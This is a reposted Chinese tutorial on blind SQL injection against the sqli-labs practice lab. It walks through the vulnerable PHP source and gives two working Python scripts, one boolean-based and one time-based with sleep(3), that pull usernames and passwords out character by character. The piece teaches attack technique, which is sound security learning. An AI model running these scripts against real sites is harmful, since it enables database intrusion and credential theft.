SQL注入到EXP编写
0x00 盲注簡介:
顧名思義,像盲人一樣注入(什么鬼解釋…),通俗來說,當我們發現有SQL注入時,確不能得到SQL查詢的數據回顯,除了之前的寫文件方式,還有就是盲注了,盲注就是通過服務器返回的狀態等各種因素來猜測,最終組合得到哦我們想要的數據。
0x01 盲注必須知識:
SQL盲注中常用的幾個內置函數,了解一下
length(str):返回str字符串的長度。 substr(str, pos, len):將str從pos位置開始截取len長度的字符進行返回。注意這里的pos位置是從1開始的,不是數組的0開始 mid(str,pos,len):跟上面的一樣,截取字符串 ascii(str):返回字符串str的最左面字符的ASCII代碼值。 asc();同上 ord(str):同上,返回ascii碼 if(a,b,c) :a為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0
0x02 基于網頁特征的Bool盲注:
這里還是基于Sqli平臺吧,這貨花樣多~
先以最簡單的 Less-8 這個單引號Bool盲注的題
分析源碼:
<?php //和原文件有刪減,為了更好的閱讀效果 //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); //不報錯if(isset($_GET['id'])) //如果有參數id傳入 { $id=$_GET['id'];$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);if($row) //如果查到數據就執行如下{echo '<font size="5" color="#FFFF00">'; echo 'You are in...........';echo "<br>";echo "</font>";}else //否則執行這個 從兩者返回的網頁結構不一樣,就可以作為我們盲注條件判斷的依據{echo '<font size="5" color="#FFFF00">';echo "</br></font>";echo '<font color= "#0000ff" font size= 3>';} }else { echo "Please input the ID as parameter with numeric value";}?>根據服務器返回的不同網頁結構來判斷當前的SQL注入的關鍵詞是否正確,一個有?You?單詞,可根據這一特征。
構造這樣的語句,返回if(true)的網頁
不滿足,返回if(false)的網頁
下面就寫一個簡單的腳本來具體解釋:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | # name:SQL bind # author:DYBOY # time: 2018-07-01 # description: 用于SQL盲注學習腳本參考 import requests import re req=requests.Session() header={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"} #盲注測試字符 fuzz='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' fuzz=list(fuzz) main_url="http://www.test.com/Less-8/index.php?id=1" #注入參考語句:id=1%27+and+ascii(substr((select+username+from+users+limit+0,1),1,1))=97+%23 #注入參考語句2: id=1%27+and+ascii(substr((select+username+from+users+limit+0,1),1,1))=ascii("a")+%23 username="username:" password="password:" #得到usernmae foriinrange(1,6): ????forkey infuzz: ????????url=main_url+"%27+and+ascii(substr((select+username+from+users+limit+0,1),"+str(i)+",1))="+str(ord(key))+"+%23" ????????html=req.get(url,headers=header,timeout=8) ????????guize??=r'You' ????????if(re.findall(guize,html.text)): ????????????username=username+key ????????????print(username) #得到password???? forjinrange(1,6): ????forkey infuzz: ????????url=main_url+"%27+and+ascii(substr((select+password+from+users+limit+0,1),"+str(j)+",1))="+str(ord(key))+"+%23" ????????html=req.get(url,headers=header,timeout=8) ????????guize??=r'You' ????????if(re.findall(guize,html.text)): ????????????password=password+key ????????????print(password) |
?
運行結果如下:
這個腳本就是基于網頁特征來判定的,下面看看時間盲注的腳本怎么寫!
0x03 延時注入:
當一個網頁返回的數據根本沒變化,報錯也不管用,時間盲注就可以上線了!
先看一個SQL語句:
| 1 | if(ascii(substr((select+username+from+users+limit+0,1),1,1))=97,sleep(3),0) |
?
這個SQL語句執行的效果就是,如果if語句成立那么就服務器延時 3s 后返回網頁給客戶端,否則正常時間返回網頁。通過這樣一個條件,我們就可以進行時間盲注了。
時間盲注腳本如下:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | # name:SQL time bind injection # author:DYBOY # time: 2018-07-01 # description: 用于SQL時間盲注學習腳本參考 import requests import time req=requests.Session() header={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"} #盲注測試字符 fuzz='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@_.<>?/;!$#{}-' fuzz=list(fuzz) main_url="http://www.test.com/Less-8/index.php?id=1" #注入參考語句:id=1%27+and+if(ascii(substr((select+username+from+users+limit+0,1),1,1))=97,sleep(3),0)+%23 username="username:" password="password:" #得到username foriinrange(1,6): ????forkey infuzz: ????????start_time=time.time() ????????url=main_url+"%27+and+if(ascii(substr((select+username+from+users+limit+0,1),"+str(i)+",1))="+str(ord(key))+",sleep(3),0)+%23" ????????html=req.get(url,headers=header,timeout=8) ????????if((time.time()-start_time)>=3): ????????????username=username+key ????????????print(username) #得到password foriinrange(1,6): ????forkey infuzz: ????????start_time=time.time() ????????url=main_url+"%27+and+if(ascii(substr((select+password+from+users+limit+0,1),"+str(i)+",1))="+str(ord(key))+",sleep(3),0)+%23" ????????html=req.get(url,headers=header,timeout=8) ????????if((time.time()-start_time)>=3): ????????????password=password+key ????????????print(password) |
?
運行結果:
沒錯,時間盲注就是將判斷條件改成了時間,時間盲注往往有更廣泛的用途~
0x04 總結
沒錯,就是這么簡單!歡迎各位來探討技術~
原創文章,作者:Y4er,如若轉載,請注明出處:《SQL注入到EXP編寫》https://www.chabug.org/web/438.html
0x01 盲注必須知識:
SQL盲注中常用的幾個內置函數,了解一下~
| 1 2 3 4 5 6 7 | length(str):返回str字符串的長度。 substr(str,pos,len):將str從pos位置開始截取len長度的字符進行返回。注意這里的pos位置是從1開始的,不是數組的0開始 mid(str,pos,len):跟上面的一樣,截取字符串 ascii(str):返回字符串str的最左面字符的ASCII代碼值。 asc();同上 ord(str):同上,返回ascii碼 if(a,b,c):a為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0 |
轉載于:https://www.cnblogs.com/abubu/p/10741529.html
總結
以上是生活随笔為你收集整理的SQL注入到EXP编写的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 求你了,听我一句劝吧,这几个玩意就别学了
- 下一篇: “行业毒瘤”低代码